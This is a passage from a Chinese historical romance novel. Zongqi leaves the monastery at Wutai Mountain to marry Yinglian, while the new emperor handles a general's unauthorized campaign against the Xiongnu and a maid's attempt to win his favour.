应怜想了想，将身挪在了挨着他的车座旁。四下罕有人迹的牙道上，秋霜秋草，秋水蒹葭，缓缓伴着他们摇曳而行。 “像这样。”她凑上前，将下巴搭在他坚硬的肩上，与他头并头，眼儿弯弯，像柳梢上的新月。 那悸动与欢悦从应怜心中蔓延向宗契的胸膛里。他接过她倾来的身子，偏过头，轻缓而绵长地吻上了她的唇。 第138章 第138章下山入世两相随 南北迢迢二千里，二人一马一车，只当沿途赏景，一路而至。三月倏忽过去，便从深秋走到了岁暮。 也是凑巧，腊月廿六，挤着挨挨的车马行人，应怜二人赶至了代州五台山。 此历来便是释家名山，山脚山腰山腹里也不知多少大小庙宇，究其来历，最早可溯至北魏，佛光寺便是其一。 山脚之下，宗契轻车熟路，驱至本寺的马厩，放了马匹。应怜仰首望不尽的连绵山脉，心生敬畏，道：“不如我便在山脚下，投一间客店住了，毕竟不大方便入寺……” “有甚不方便的？”宗契将车也卸在马厩，搀了她下车，“寺里不禁女客，且正值交年，你瞧前来供奉香火的人家，哪个不是携儿携女？” 果真，自山脚绵绵向上，数条山道之中，也不知多少拜佛的行人，男女无忌；妇人更不遮覆头脸，谈笑自若，与洛京风俗世情又大不相同。 应怜瞧着奇异，渐渐地便也心生了悦意，将本要戴上的帷帽便撇在了车中。 宗契携着她，捡了条上山的石径，并肩而行，路上逢有好奇探究的目光也不在意；却又有小沙弥见着，远远地便来说话，目中是掩也掩不住的惊喜激动。宗契便教回寺知会一声，那几个小沙弥应了，猴儿似的便窜腾了回去。 “那些俱是本寺的师弟，几年不见，都也长高了。”他道。 应怜“嗯”了一声，瞧瞧他，又瞧瞧寒山松林掩映的古寺翘角，又瞧瞧他。 “怎么？”宗契被她瞧得发笑。 她说不出此时心中所想，唯觉心中某处丝弦微动，彷佛刹那悉知眼前人与脚下山本为一体。她与宗契的命运相连，却从不知他少年时怎样度过；如今见了山，便彷佛聊以想象，旧年间日日月月中，少时的他也曾如那些小沙弥，穿着古朴的灰衣，蹬着粗麻的僧鞋，来来回回踩在这方石的阶上。年复一年便过去，他成了如今山岭间松与枫的模样。 万千思绪萦在心中，应怜摇摇头，虽未开口，眸中却流淌过一缕温情。 宗契有所领会，心绪一时如穿林打叶的山风，簌簌有所动。 这将是他作为一个僧人，最后一程出世的路，由她陪伴着。 二人一路少有言语，宗契放慢步子，同着应怜一步一步走他经年踏过的山路。转过重重不老的山松林荫，又穿过山中枯林寒水，赫然便见了一处开阔的场院。山门在外，一重灰瓦的院墙隔绝了红尘内外，前后、东西大殿俨然巍峨，门廊洞开，山场前灰布直裰的僧人执帚扫清尘埃，一如既往。 这即是佛光寺，宗契的来处。 寺中香火络绎，行人不绝，将一座世外的庙宇，染上了不尽 的人世喧嚣。宗契领了应怜自山门而入，又拾几重石阶蜿蜒而上，寺中师兄弟重逢，纷纷抢上前来问候，便有无数双惊奇的目光落在应怜身上。 应怜乖觉，人散后，将宗契拉在一旁，悄悄道：“你去与住持说话，我不去了，在外等你。” 这处不比山脚，僧俗毕竟有别。宗契想一想，便也应了，便叫来个小沙弥，教四处陪着走走，自己去方丈室寻慧理住持了。 日午才过，薄光散淡，无风便有暖意稍住，令人安心，也令宗契十分熟悉。 按惯例，慧理住持此时在方丈静思。 方丈室在寮房上首，一应布置与僧众寮房并无不同。他蹬上傍山的石阶上行，一二丈高后，便到了方丈，门外先扣了扣。 里头传出声音，虽苍老，却很是矍铄，与记忆中别无二致，“是宗契么？” 那声音教宗契有了一种归家的牵念。他答道：“是，弟子回来了。” 慧理道：“进来。” 轩窗敞亮，明净不尘，竹藤的桌椅案架皆是旧时所用，连一瓶一炉的摆放也未有丝毫变动。倚墙设了一张竹榻，榻上盘坐一人，年迈苍苍，容皱身缩，已是八十许高迈的年纪。仿佛年岁一高，再多添个三五年也不过是沙山之上蒙尘埃，毫不为人在意。 时光在这一室一榻一人上，全然凝滞。似乎自三年前辞别师父，他一旦踏出方丈的门槛，里头人与物便从此停滞不动，直到今日他再归来。 宗契禅床前跪下，先磕了个头，“弟子愚鲁，三年前别师下山。本计较迟至半年便回，不想世数变化，留至如今，师父一向安好？” 老僧将眼皮撩开，“好，好得很。我僧在家中坐，福自天上来，岂能不好？” “师父这福，指的是……”他纳闷。 慧理冷哼了一声，抖衣下榻，全然瞧不出八十高年的衰迈，从旁边竹奁里头取出一物，劈面扔到弟子脸上。 宗契手疾眼快一把攥住，却是张卷轴。摊开来一瞧，轴柄乃青黑的犀角制成，锦帛细腻，织了描金云纹，上头行楷如流水，押印威赫鲜明，分明是一卷圣旨。 “读。”慧理阖上那一屉的杂物箱奁。 帛上字迹昭然，却繁杂冗长。宗契一个字一个字地读下去：“门下，代州五台山佛光真容寺第三十二代僧徒宗契，伟膂慨德，释理以深，性明自成……” 读着读着便噎了住，他颇尴尬地挠了挠头。 慧理道：“读啊，怎么不读了？万真宏照辅国显教至善西天正觉自在大国师？” 宗契窘得没话可说，只得嘿嘿地笑，“师父，我……” “你人未归，敕封的圣旨倒先来了。徒儿，你干的好大事啊！”慧理扯过他手里圣旨，胡乱卷做一团，仍旧塞进那一竹奁里，冷着脸，“这一次回来，是再不走了，还是另有打算？” 凡事都被他照得明朗了。宗契实话实说，又磕了个头，“弟子不孝，愿归世俗，成在家的凡夫。” 有一时，慧理没再说话，方丈静谧，风声鸟声，而后是他深重地叹息声。 “前年你的信至，我便早有此见，料得是俗世绊你，恐怕你再回不得山寺。”他紧盯着高大的弟子，问，“是同来的那位娘子之故？” “是。”宗契直视师父，“弟子已决意与她结为夫妇。” “你倒不惦记富贵显名，给我惹来忒大麻烦。”慧理并不意外，也不惶恐，只有些嫌弃，“罢了罢了，终究世事难料，这也是你的缘法。你虽不能承我衣钵，到底传了贺家的香火，你父母在天有灵，该是宽慰了。” “正要与师父一讲，我已寻明了爹娘的旧事，母家的亲人……” 慧理一边听他说，一边缓缓出方丈，迎着外头煦明的日光，瞧着一手养大的、更比从前沉稳的弟子。岁月在自己身上愈发苍老，在年轻人身上却日渐隆盛。他对这种偏爱感到欣慰，也勾起了一些陈年的旧忆。 “再住几日，过了这一年，我为你还俗。”他严苛挑剔的目光中隐隐闪现慈爱，话中平和，少有地透了些衰迈，“趁着这几日恰好，你与我讲讲三年来之事，我也去见见那女娃，看究竟如何。” 宗契不大放心地跟在后头，沾了应怜的事，便罗唣起来，“她年纪小，师父您可别拿辈儿压人，莫吓着她！” “我省得！”老住持冲着日头翻了个大大的白眼。 二人一前一后，听鸟鸣梢、风鸣廊，缓缓地去了。 应怜随着小沙弥在佛光寺内四处闲看，东西殿皆拜了一拜，祝祷些平常祈福之语，又捐了香油钱；转到山门前宽敞的廊下，又见诸多小贩杂卖叫唱，图画、香药、风筝、泥人、腊梅水仙、羹酒果蔬，样样皆备。甚而有卖各样缎匹绣作的女尼，游人也熙熙攘攘，挑拣还价。 她兴致勃勃赏看了一回，买了几枝横斜的红梅，擒在手中，一时等不到宗契，便转一圈又去了清静些的后院看山。 寺内后院有成排的厢房，也辟了赏景的园林，四处皆疏落有致。小沙弥为她爱花木，便带她去了一丛梅林。正是梅树恣意寒香的时节，抬首又见浑朴的苍山，应怜捡人迹罕处逛了逛，正待要回，却见隐隐的一层梅枝后，掩着一座不大的八角亭子，因着地势略高，教她瞧得见几分，里头背向坐着个人。 她瞧了几眼，总有些疑惑，却渐渐挪不开目光，但见那人一身靛蓝的衣衫，高挑劲节，斜斜地倚在栏上，一只膝头屈起，十分闲散里透着一二分世家子的气度，也正仰头望那高山。 小沙弥见她干立不动，便问：“娘子不走吗？” 那人戴着一顶箬帽，又不回头，应怜怎么也瞧不清模样，才转头问：“那人是谁？” 小沙弥奇怪地望着她。她怔了怔，才觉这话问得冒失，心中却漫起一股刺痛的滋味，听小沙弥讲：“许是借宿在此的香客，并不知名姓。” 应怜便又回头去看，目光一转，却见那亭中空空，已失了那人所在。 到那亭中，但见石桌石椅悠然，四下环望，却再不见人。 她若有所失，再没了赏景的兴致，回味着那背影的熟稔，茫然回了前头，照样听喧嚣的买卖之声；穿过前廊，到了山门相对的天王殿。 天王殿里有宗契曾擦拭过的弥勒金身。应怜顿了顿，再一入内，仰望高高的未来佛常开笑口，也有人拜、也有人走。 方才才拜过，她又捡了一张蒲团跪下，双手合十，心中不知念什么，唯有方才那散漫斜倚的身影回荡不绝，令人难忘。 他像极了应栖。 父兄赴曹时，她被押在牢狱，并不得见，也就失了诀别的最后一面，不知应栖含那样大的冤枉，该怎样愤恨。如今前尘早已落定，她原以为沉痛也已抚平，可当真不过见一人背影肖似，才觉那痛其实锥心，再多少年也难平。 愿来日河清海晏。愿终有一日，世间再无人可操生杀予夺大权，人命皆贵，不再如草芥。 她低头再拜，望着未来佛，许下了此愿。 宗契与师父到天王殿，香客已出，殿前一人在偌大的佛前跪拜，回过头来。 她面有悲悯，竟与菩萨化身相类。宗契晃了晃神，迈入殿内，将她搀起。 “怎么了？”他见应怜神色黯然，便问。 “我偶见一人，背影肖似我兄长。”应怜摇摇头，不再提此事，望向住持，迎上前，端端地施了个礼。 慧理住持瞧着很是和气，搭上那副苍而矍铄的面容，十分像宝殿里的燃灯佛。他问了应怜些话，毫不端着世外高僧的架子，就如个自家的长者一般，使应怜觉着慈和。 问完了家世来历，慧理住持便更慈和了，“年前便住在这寺里，若要热闹，州城里逛一逛便是。待过了年，一应事你们再处置。” 应怜自然应好。 又一会，两下里相别，宗契同她去往后院的厢房，便商量，“往后洛京里你去少离多，不如将亲人的牌位接来，咱们在寺里供三盏长明灯，旬日年节时皆可祭拜。” “我也是这样想。”她听出了他话中的关切。 又说起住处。宗契有些赧，见无人处，道：“这几日委屈你独自在厢房睡，毕竟是寺里，且人多眼杂，外人不明情由……” “我晓得。”应怜微微红了脸，背过身去，噙着笑走了。 昼夜倏忽，这一年新旧更迭，他们在佛光寺度过。 每每想起来，应怜总有些不敢相信，曾心愿的与他去代州，观四季分明的山色，尝截然不同的世味人情，到如今，果真一一实现了。 新年过了初三，慧理住持拨开冗芜的杂事，单在一日清晨，唤了宗契在释迦佛前，寺中诸人的见证下，按惯例，收了宗契度牒、僧衣僧鞋，却独不见那一串下山时所带的念珠。 “念珠何在？”住持问。 清晨的光照映入殿，辉光熙熙，浮尘里，盘余着苍老的声音。宗契闻言，面有愧色，“向年下山赎人，因买药钱不足，已质当了换药。” 住持并不怪罪，只是长叹一声，“是缘分若此，偏教你弃佛入了世。” 说罢，一样一样点检，将度牒上法名划了。从此放了弟子还俗，还归贺姓，为贺宗契。 众僧皆去，慧理独留下宗契，又私取出一匣，令他带去。 “这是什么？”宗契想打开。 慧理止住，并挥手喝他离去，“是你不惧内的本钱，下山再看，竖子！” 宗契摸不着头脑，只得再三应承了初一十五必上山来拜望，在师父横挑鼻子竖挑眼的不满之下，出了山门。 向下的山路前，立着正等候的应怜。 宗契再回头，向着自己待了将近二十载的山寺，与他视作父祖的师父，如今已过耄耋，苍苍然同此山一般，衰老却坚毅。 他在山门前，郑重跪下，向慧理住持拜了三拜。 “弟子幼年丧亲，全蒙师父养育成人，磨我心性、教我事理；又传授武艺，我才得以立于此世。师父再造之恩，无论我出家在家，永世不忘。”他道。 慧理想说什么，一辈子找茬抬杠的嘴皮子如今翕动了一下，最终却没说出话来，只是挥挥手，又挥了挥手，教他离去。 曾经的孩童 长成了人，有了主意，离了旧巢。他欣慰之余，不得不承认，自己这一双见惯了冷暖世情的老眼，也有了点久违的湿意。 一会儿，应怜过了来，十分乖觉地在宗契身旁跪下，认认真真地磕了三个头。 慧理大惊，忙教她起身，“你这是作甚？” “我的性命是宗契所救，您是他的恩师，便也是我的恩师。我为您做不得些什么，只望您弥老弥坚，大德布泽世人。”应怜道。 慧理哈哈大笑，擦了擦眼角，点头道：“好、好！此乃佳儿佳妇，一同下山去吧。” 宗契将应怜搀起，二人相视一笑，别过住持，并肩下山辞去，背影终成连理，消隐在岁始新春的山路尽头。 山中无寒暑，世路有分明。应怜曾两回山寺前送他离别，也曾画过、梦过随他而去，到如今，终是遂了心愿。从此她随他下山，他随他入世，无论寒暑年月，再无易节。 山寺后院。 他收拾衣物行囊，本来简洁，也无甚好整备的，最大不过那一雕花的方匣，静静摆放在最显眼的桌案上。 他将那匣收起前，最后打开，瞧了一眼绸锦之中，嵌进的那一块金玉。 凤印。 天下至宝无非有二，一为玉玺，一为凤印。他盯着这枚天下女子之至的、独一无二的珍宝，瞧了一会，最终将匣盖阖上，如一般物件，塞进了行囊。 外头传来缓而庄重的脚步声，苍老的声音隔着门扉响起：“人走了。” 他背了行囊，抄起手边箬笠戴上，如同来时一人，去时依旧一人。 开了门，老住持立在外，不冷不热，却眯起了眼，仿佛要探究箬笠下是怎样一副面容，“这几日情形，你也瞧清了，该死心去了吧。” 他一言不发。慧理余光向下，瞥见了他露在外的一双手，坑洼疤痕，筋脉布结扭曲。 那是一双被火烧毁了形状的手。慧理虽不曾见他真容，但不难想到，箬帽下的脸，或许也是如此。 “我不知你是谁，也不知你来何干，”慧理道，“但却晓得，你所求者，未必是彼所求；与其强塞与人，不如少管闲事，乐得逍遥自在。” “老和尚，你懂什么。”他声音嘶哑干涸，神色却难得的平和，久不曾与人争执，今日对着这秃驴，也不知是心中放下了执念或是破罐子破摔，却来了反唇相讥的兴致，“她生来便在锦绣堆，吃穿生计何曾挂在心上？她该得的是无上的权势，你那弟子又能给什么？” 慧理也不恼，十分慈和地与他辩经，“虽不能以率土之滨相赠，总能给一匣子地契作聘。你想是与她娘家人有几分瓜葛，那我问你，甭提那送不出去的印，实打实的嫁妆你出了几贯？” 鬼面人不说话。他箬帽底下沉默了。 慧理呵呵笑着，打佛礼送他离去，好意提醒：“回去典典当当，弄些嫁妆来吧，谁家女儿空身人出嫁？娘家人好大的脸……” 鬼面人抬脚便走。 慧理也不送，老眼里瞧着负气而走的人，迎着日头，感喟地叹了一声。 生生死死，俱是缘法；坎坷多磨，到底比他这半入土的老朽好一些。 “年轻人啊……”他木底的麻鞋哒哒踏过地面，一边念叨，一边远去了。 这一年，新帝仍是姓郭，继位正统，弃了旧年继隆的年号，经群臣议定，改元宁德。 这一年，战事初平，百废待兴。小股的贼寇被剿灭，走出山林的人们纷纷拿回了犁与锄，在荒芜了经年的野田里耕种。朝廷得以腾出手，应对边疆报来的战事——匈奴诸部联成多支人马，趁边军回师、关防空虚之际，南下侵扰。 这一年，是为宁德元年。 第139章 第139章楼头云起，风雨晦不明…… 宁德元年，才正月，边疆急报传来，匈奴多部联结成一支十多万人马的大军，汹汹欲袭边境西凉府。 这战报非来自于边将，而是从乌孙的小昆莫部飞书至。小昆莫部势力衰微，并未跟随侵边，却有意暗中交好。故新帝郭显得以早做打算，先使郑武陵帅兵依旧回边，又新调了鬼面人迎击。 他自代州而归，将凤印交还天子，郭显仍有心思闲聒一句，“朕可不是无信义之人，有心求娶，你也瞧见了。怎奈如今连人也不见，朕恐怕是古来头一个求娶不成的天子，唉。” 说罢谈起边关战事的信报，令他即刻领兵前去，不得贻误。 鬼面人领了虎符文书，几日间拨辎重、点兵将，便腾不出手来处置库里成堆散落的金银玉器。他也可寻个经纪倒换成财白，却鬼使神差，最终递了张帖子与李定娘，请她过府一叙。 自那回在汤山延祥寺的温泉，自己狼狈离去，与她便罕有相见的机会。她有心躲着，他也没什么由头来见，一路到如今，兜兜转转回了洛京，却成了陌路。 李定娘如期前来，见家宅阒静，鬼面人一相见，便领她径入库房，不由得笑笑，从女使手中接过食盒，将人遣走。 “将军坐拥千万家资，求我办事，却连桌酒食也吝赐。”她如此说，却并不真的在意，将食盒漆木的盖儿揭开，“我有酒无菜，你有财无心，凑合着吧。” 鬼面人面无表情—— 准确的说，没人能瞧见他鬼面下的表情。 但她便静静立在这一堆金光耀眼的宝瓶宝器之中，是唯一温柔的素色。仿佛刹那之间，从她身上褪去了少时至今的遭遇，她又成了那个比日光还耀眼的李定娘。 他的心因此狠狠地扯动了一下，极为怪异。 满库他所拥有的金银珠宝中，唯一不属于他的珍宝在其间晃了一圈，四面看看，末了捡了张玉枕坐下，并很好心地将一双鸳鸯玉枕的另一只搁在身旁，拂去尘土，拍了拍，“坐。” 他在某只奁里，翻出了一匣地契——足顶得上那老秃驴所给的两倍——递了过去，默不作声在她身旁坐下。 李定娘一手接过，跟着还来一只银盏，醇酒四溢流香，混在这散满浮尘的库房中。 他在面具下饮酒，她则叼着空盏，埋头数匣里的地契田契，从头至尾数了一遍，才从满眼的缎庄银铺茶酒坊中抬起头来，惊叹道：“原来做将军这样有钱！” “你想要什么，拿去便是。”他攥着那空盏，舌根都发紧，话仍是漠然。 李定娘摆了摆手，浮尘受她扰动，在她脸庞周遭飞舞。 二人便在这金山银山之中，坐在一双鸳鸯枕上，也无侑酒的菜，就这么空空地对饮，如同熟稔多年、唯剩了亲情的夫妻。 李定娘喝着喝着，忽想起旧事，便道：“从前咱们也进过一间库房，你可还记得？” 实则他从头至尾也不曾承认过什么，可她只是笃定，并且默认他也承认了。鬼面人便不愿费口舌再纠正，任她去了。 不过他当真记得，并且记得她从不曾记得的事。 “那一日你不知怎么，弄到了姨母家库房的钥匙，诓我说那库里有珍奇的至宝，将我哄进去，你却在外锁了门。”到如今她想起来仍有些咬牙切齿，皱着一双柳叶的黛眉，微颦时也自有一番风致，“你支走圆儿，与姨母说我归了家。我爹只道我在姨母处，因此无人来寻，生生将我锁了整夜。” 那时的应栖当真讨人嫌，李定娘恨不得拿锥子戳他两个洞。 鬼面人没有前尘，他不再是那样人憎狗嫌的模样，只是如木雕泥塑，同时想起那段她不曾知道的事。 那一夜过了，他溜进库里，蒙蒙的日光洒下来，淡淡匀在她红粉的脸上。她似乎哭肿了眼，有些可怜，窝在几匹缎子里睡了。各样艳丽的锦绣萦缠在她身畔，当中的那一个人，竟比画中的织女更秀丽。 似乎也正是那日，那一时辰，那样一个刹那，十多岁的应栖突然间便不再是孩童，生出乱缠的心思，蜕变成了一个少年人。 他呆呆瞧着她未醒的睡颜，百爪挠心，懵懂便一步步走去，跪在那堆锦缎里，伸出手，想要触碰。 后来，李定娘醒了，打了他一巴掌，又踹了他一脚，恨恨地飞奔了出去。 他曾多少回梦见当真触碰到了她，往后又亲吻了她，又有多少回便有了男欢女爱；只是白日里醒来，仍是与她像一对猫与狗，鼻子不是鼻子、脸不是脸。 李定娘道：“每每想到你，我便觉着阿苽也能看得过眼了，好歹不那么惹人嫌。” 他们又饮了一杯。李定娘又问：“惜奴那边如何？” 他捡只言片语答了，干巴巴的。她听过点点头，“我早料得，她与那和尚能善始善终。” 鬼面人转过脸来，张牙舞爪的青铜恶鬼里，一双幽沉的眸子紧盯着她。 “是你关心则乱。你难道不曾见，她每向宗契时，眼儿都亮了？”李定娘与他分析，“凡事都得讲一个天时地利人和。元墨池虽也有心，却输在了天时。从前她年纪还小，能懂什么？” 他又不说话了。 半晌，二人喝光了一壶酒，再没更多，李定娘便道：“听闻你要西征了，这一回也算是我为你践行的酒。往后不知咱们是否还能相见。但我总想，莫若不见，免得都不快活。” 浮尘散在日辉中，黄昏像极了清晨，他推开门，瞧见辉光中照映的她的颜面。 她不快活，他们相互会从任一一个眼神中，回忆起各自不堪的过往，因此不见方好。 李定娘酒后有些微醺，心情却正好，点齐了那些胡乱搁放的金银，估了个大致的数目；又与他商量准，将匣子里契书留一小半，其余换了作财物，也免得应怜人在代州，还得分心支应洛京里外的铺面。 鬼面人交了库房钥匙。她道：“过段时日，这一处都处置妥了，我便将这些作她的嫁妆，去一趟代州，顺便捎了萍儿去。” 说罢，她不再逗留，抬脚出门。 鬼面人忽开口，嗓音嘶哑含混，唤得她留步、回头，日光一如从前，照映在她白玉般的颊面上。 “那时，”他到底承认，且此时也不知是狼狈是不甘，或是仅剩的一点执念，将话问出口，“你为何不愿嫁我？” 李定娘幽静的目光住在他身上。有一瞬间，她仿佛掀了掀唇，想要张口，而最终却什么也不曾说出来。 从春园事发，他杀了那贼人；三个月后，她因孕小产，纸包不住火，闹得洛京里流言蜚语，名声尽毁。他想要娶她。 本以为不是什么难事，前一日在她家中，她分明点了头。转过几日，便听闻了姨父上疏辞官，她随父将去扬州。 李定娘说不出答案，转而挑了挑眉，没心肝地笑了，“幸好是不曾嫁，否则你获罪身死，我岂不跟着吃挂落？” 她转身而去，再未回头。 十日后，粮草辎重先行，人马齐备，鬼面人奉命西御匈奴。那一场战事不知何时了结，因此他们当中，也就彼此皆不清楚，这即是最后一回说话，也是所见最后一面。 余生，他与她再不相见。 君臣纲纪，偏有人不吃这一套。 大理寺卿单铮连上数道奏疏，请去戍边御敌，俱被新帝驳下，不许。敌情已至，烽火狼烟起，单铮竟卸官衣，重着戎甲，自作主张联络旧部，将四万人带去了西关。 四万人马，尽是当初宁德军所部，虽已入禁军，却仍奉单铮为主，待将军一号令，齐声炸出连营。 天未平明，大小旧部兵将奉单将军令而出。一个时辰后，遥坐金殿的天子郭显得知了消息，气得面色铁青。 正值升朝，文武官员这一日惶惶，俱议论此事。元羲道：“虽私自领兵是大逆，但军心正是壮时，又为着御敌保家之故，不可强召而归，否则军中定然积怨。” “仅此一着，便等同谋篡，那单铮居心叵测！”有异议道。 又有人出言：“四万人马，又无粮草，能走多远？难不成他仍要做那打家劫舍的生意？” 群臣哗然，争论无休无止，有的道追回严办，有的恳请宽宥。郭显但觉心寒，对单铮更增添了恼怒，道：“朕并不以出身薄他，他却一而再再而三地惹下乱子，教朕如何宽宥！” 当初他才登基，正要论功封赏，诏令还未赐下，单铮却先只身劈入了刘升营中，激刘升立下生死状比试，末了一杆长枪将人搠穿，钉死在了三丈的校场上，染血的煞神一般，将来宣召封赏的中官吓得好悬没摔下马，这俱是青天白日、众目睽睽所见。当时郭显费了好大心思，以旧怨了结的名头，揭过了此事；后为着他耿直清正，令他做了大理寺的主官，他果然再秉公不过，但凡上核的刑事，皆依法办了，谁的情面也不讲，又因此得罪了好一批勋贵旧戚。 事到如今，郭显扪心自问，对他的心思，连自己有时也猜不透。 ——或更确切地说，不愿猜透。 他难以对自己直言，从入洛京那一刻起，单铮便从助力成为了某种威胁。郭显想，比起欣赏，他更多地该忌惮。 难道他不知大理寺卿是个什么样的位置？难道他不清楚单铮嫉恶如仇的为人？难道他从未预料过他与贵戚之间将有仇隙？难道他不知今日此言，公诸于臣子，将使他们明了自己的心意？ 果然，他说了此话，那些求情宽赦的声音便小了。朝堂之上又喧嚣起来，大声争议的是怎样定单铮不遵王命的大罪。 郭显只是漠然听凭事态发展，任不满的骚乱滋生。 然而，其间忽有人奏言，郎朗之声打断了发酵的指责，“单铮虽自专，却实一片公心。且国有外侮，执刀刃当向外，岂可先剖腹内丹心！” 那人身着绯红袍、腰佩银鱼袋，面容清瘦，行止有节，是一向亲近帝王左右的中书舍人，如今领知制诰衔的吴览。 相较于宁德军中那一班武夫或屡试不第的秀才，吴览是个标标准准的官身。他已做过二十载乡县的官，懂得体察民情，也懂得怎样与同僚答对，在归于旧日所熟稔的官场中，他本该尤其如鱼得水。 可连月来，吴览却反常地消沉了下去，旁人有何策议，他只是唯唯附议而已。 就这么心不在焉地到了如今，一众言辞愈发激烈的斥责单铮谋篡的声音中，他却独独为他说起话来。 郭显眯起眼，话中有了些寒意，“卿所言，单卿盗兵出营，朕不仅不当罚，还应当嘉奖？” “奖惩与否，何不搁置再议？”吴览执笏奏对，并不惊慌，眼中有郭显看不懂的死寂与执拗，“如今当务之急是御外侮，不如便教他领兵去，若果能克敌，便将功补过；倘或败了阵，再并罚不迟。” 元羲也出班来奏，“这数万人马，是军是匪，只在陛下一念之间。陛下若能容，追拨辎重粮草，他们便是为国尽忠的好儿郎；若不容，但得二三日所携粮草尽了，沿途劫掠，便又成一支叛匪，到时再想收伏，却是万难。” 郭显岂能不知，心意与理智两难之间，忽有奏事官趋步入殿，报外有校尉杨兴，捧天子御剑，求谒天子。 “宣。”郭显道。 杨兴便双手捧定一柄乌黑镶银的长剑入内，柄端嵌玉，玉色温润鲜明，方拙古朴。剑在鞘中，众人不见其锋芒。这一位随着单铮征战南北的亲信心腹，如今的六品的振威校尉，全然仍是从前出鞘的刀一般锋锐，直面向着天子，毫无一点惧色。 “臣为此剑而来。”杨兴凛然道，“单将军去时，将剑予我，要我归于官家，并教我问一声：官家可还记得当日之誓？” 郭显冷冷盯着他，仿佛在瞧一个真正的叛臣贼子。 杨兴不懂官腔，不懂礼节，连怎样谒见天子也不懂，唯有一副忠心。 ——对单铮的忠心。 他见郭显不言，便扬起头颅，眼中迸出熊熊的烈火，与那时的单铮如出一辙。 “平荡胡虏、保疆安民。”他一字一句，“官家还曾道，若有朝一日违誓安溺，可执此剑，杀之。” 群臣 皆震骇。 “殿前仪节，岂容你如此胡言！”有人喝道。 郭显缓缓呼出一口气，扬起手，止住了即将前来捉拿下殿的侍卫，也止住了众人责难的沸釜之声。 “这是朕的誓言。”他道，“天家有信，朕不违誓。你去，告诉单铮，教他奉朕命西关御敌，粮草辎重，随后便至。” 杨兴眸中烈焰陡然化作骄傲的神采，嘴一咧，高举长剑，下拜领命，掷地有声，“臣领旨！官家英明！” 中贵取了长剑，奉在天子案前。郭显意懒神倦，挥挥手，赶苍蝇似的，将杨兴挥出了殿。 议论峰回路转，事已落定，众臣将各自奏疏一一报来，都是些陈词滥调。郭显按惯例处置了，退朝回内宫。 内宫之中也清清冷冷，并无中宫料理主事，原先郭禧的嫔妃们俱已安置在西宫，那处妇人们的哭闹计较传不到他的寝宫中来。 郭显仍回想着那年轻莽撞的校尉，想着他拙嘴笨腮的一句“英明”。 我英明么？ “官家自然是英明的。”身畔的宦官恭敬答对。 他才发觉，自己将心中的话说了出来，于是瞧着宦官柔顺粉饰的脸，忽然觉得心中厌烦。 坐在御座之上的人，自然都是英明的；御座上的帝王换了一茬又一茬，哪怕御下列国不宁、民怨沸腾，他也还是英明的。 他从此听不见真话，无法相信人心，哪怕是从前一度心中敬重的英雄。他更不敢信，那誓言竟是自己口中所出，平白授人以柄。 郭显枯坐陈锦堆绣的圈椅之上，寝殿外室之中，陷入了自己的沉思。 良久干渴，便有一双手执着玉盏，在天青碧翠的杯中盛了新煎的茶汤，汤中膏泽乳白如雪，那双手竟不亚于，反又多一分柔润鲜嫩。郭显呷了口茶，才回过神，却见身旁不是宦官，却是个面生的宫人，年华碧玉，鬓云环翠，眉眼鼻唇生得极是可爱。 他不由得多看了两眼，笑了一声，又将目光落向她那一双赛过凝脂的手。 “你唤作什么？”他问。 那宫人面微粉，更有一种别样的明媚，眸光流盼，轻声答：“奴姓范，双名碧云。” “范碧云。”郭显点头，“好一双巧手。” “多谢官家夸奖。”她更羞赧，乖巧且柔媚地悄悄瞟了他一眼。 郭显面容如玉，比他两个帝王兄长皆更俊美，哪怕没有无上的权势在身，仅凭这副容貌，也能得多少妇人娘子青眼。 这是范碧云最后的机会。她花光了所蓄的钱财，再不能故技重施第三回。她更不愿回到那个挤满了失势嫔妃的西宫里去，那里连皇后卞氏也活脱脱煎熬成了怨妇。 她要出人头地，哪怕将来名分更不光彩，总有的是机会…… “李胜儿。”忽闻郭显开口唤人，唤的是寝殿外侍奉的宦官，“把她拖下去，砍了手来给朕。” 范碧云尖叫着被低头入内的宦官李胜儿攥住了手臂，面如土色，瑟瑟挣扎。郭显心中复聚的那一团恶念的乌云才散去了一些，又吩咐，“那收了好处的内侍，一并发落，首者罢黜，余人各贬一级。怎么？” 他望着死命挣脱，跪伏抱住自己双腿的范碧云。 范碧云已没了方才巧笑倩兮的明媚，灭顶的恐惧攫住了她。她那双才被夸过的巧手指节掐得发白，惶恐磕头，告罪哭道：“奴不敢了、奴不敢了！官家饶奴这一回吧！” 李胜儿乖觉地侍立在一旁，垂头不语。郭显心中暗道了一句人精，踢了踢范碧云，解脱自己那一双脚，也不当真要剁人的手，又觉得聒噪，问：“你除了献媚，还会做什么？” “奴、奴……”范碧云哭花了脸，惊恐地抓住一线希望，结结巴巴，“奴会绣！奴绣的花样是宫里出了名的！奴要手来绣的！” 郭显挥挥手，这一回叫李胜儿实实在在将她弄下去，“发去尚衣局，做绣活去。” 李胜儿犹豫片刻，附在他耳边说了几句。 “修容？”郭显挑眉，那目光不再教范碧云觉着欣喜，反令人想起了森罗的阎君，“什么修容昭容，如今既是宫人，便不用回西宫了。” 范碧云鬓散容乱，呆呆地便被拽走了。 郭显见妇人献媚，便想起了中宫虚置，继而想起那枚空空而归的凤印，再便想起了应怜。 他忽有些羡慕那得了她青睐的僧人。以那样卑微的身份，又不容于世俗眼光，她宁肯舍弃生来所拥有的锦衣玉食，舍弃只要一点头、将来也会拥有的威赫权势，去与他结为夫妇，想必那一片心才是真正赤忱。 若他能有这样一片至真至纯的心，是否如今便不会觉着偌大的宫殿太过空虚？ 他不敢说十分爱她，但真真正正的，想拥有她。 今晨的奏疏被搬至了寝殿，厚厚一摞，俱等着他今日批阅。郭显揉了揉额，不教自己沉溺于胡思乱想中，开始处理政事。 奏疏俱是臣子所进，所奏事有些朝会时已议论过，有些不必在朝会上讲，专与他进言。郭显一本本地翻，翻到其中一本，目光驻留了片刻。问身边人：“前些年那身死的江宁知府袁淮，可还有子弟在朝？” 李胜儿应一声，竟不用查看往年的簿子，想了想，答道：“袁淮仅一子，昔日已被戮，朝中并无子弟。” “可还有什么恩师亲族？”他又问。 李胜儿答：“袁淮乃康成皇后之父、卞温的门生。” 郭显便了然。 随着他的好三哥郭禧禅让，外戚卞氏一族如今说话更没什么分量，早已夹起尾巴战战兢兢做人。 他执着奏疏，皱眉想不通彻，“仇家俱灭，他为何却要辞官？” 这一问，李胜儿便不答了。他晓得何时该张口，何时该闭嘴，这会只垂首退在一边，任天子喃喃自语，但也未错过那一瞥间，瞧见的奏疏款名。 那上头字迹板正清瘦，奏的是辞官归乡事，题的是中书舍人吴览。 